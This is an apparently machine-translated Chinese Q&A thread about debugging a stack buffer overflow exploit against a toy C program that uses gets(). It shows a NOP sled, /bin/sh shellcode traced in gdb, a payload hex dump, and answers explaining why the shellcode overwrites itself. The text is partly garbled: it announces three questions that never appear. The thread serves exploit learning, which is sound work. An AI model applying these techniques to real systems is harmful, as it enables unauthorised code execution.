具有明显缓冲区溢出的基本C程序:
void f(){
char buf[100];
gets(buf);
printf("Hello exploit");
}
int main(){
f();
return 0;
}
正确系统的Shellcode: http://www.shell-storm.org/shellcode/files/shellcode-811.php 我在前面放了一个NOP雪橇,在后面放了正确的返回地址。
在gdb中运行exploit时,我可以看到返回地址被正确更改,执行跳转到我的nop sled并继续使用shellcode。我可以逐步完成shellcode的开始,但它会在接近结束时发生段错误。
(gdb) c
Continuing.
Breakpoint 4, 0xbffff710 in ?? ()
1: x/i $pc
=> 0xbffff710: xor %eax,%eax
(gdb) stepi
0xbffff712 in ?? ()
1: x/i $pc
=> 0xbffff712: push %eax
(gdb) stepi
0xbffff713 in ?? ()
1: x/i $pc
=> 0xbffff713: push $0x68732f2f
(gdb) stepi
0xbffff718 in ?? ()
1: x/i $pc
=> 0xbffff718: push $0x6e69622f
(gdb) stepi
0xbffff71d in ?? ()
1: x/i $pc
=> 0xbffff71d: mov %esp,%ebx
(gdb) stepi
0xbffff71f in ?? ()
1: x/i $pc
=> 0xbffff71f: mov %eax,%ecx
(gdb) stepi
0xbffff721 in ?? ()
1: x/i $pc
=> 0xbffff721: mov %eax,%edx
(gdb) stepi
0xbffff723 in ?? ()
1: x/i $pc
=> 0xbffff723: mov $0x2f,%al
(gdb) stepi
0xbffff725 in ?? ()
1: x/i $pc
=> 0xbffff725: bound %ebp,0x6e(%ecx)
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
程序有一个可执行堆栈(execstack -s vulnerableApp
),ASLR已关闭。
所以有三个问题:
- 编辑 我忘了提到我在同一个系统上使用这个shellcode来利用不同的二进制文件并且它有效。
更新
是的,shellcode完整地提供:
0xbffff6f6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff706: 0x90909090 0x90909090 0xc0319090 0x2f2f6850
0xbffff716: 0x2f686873 0x896e6962 0x89c189e3 0xcd0bb0c2
0xbffff726: 0x40c03180 0xf48680cd 0x8400bfff 0x00000804
0xbffff736: 0x00000000 0x44d30000 0x0001b7e4 0xf7d40000
你可以看到雪橇,然后是漏洞。
答案 0 :(得分:1)
我通过在shellcode之后添加一个小的NOP雪橇来解决这个问题。由于shellcode被添加到缓冲区末尾的堆栈中,并且它将一些东西推送到堆栈本身,因此它覆盖了自己的代码。
答案 1 :(得分:0)
这里有同样的问题。 麻烦的一点是,你的NOP雪橇不是4/8字节的倍数。 指令“0xc0319090 0x2f2f6850”(NOP和指令混合)导致shellcode中的移位(此处为2字节移位),直到某些时候CPU无法解释shellcode,因为指令不完整 - &gt ;分段错误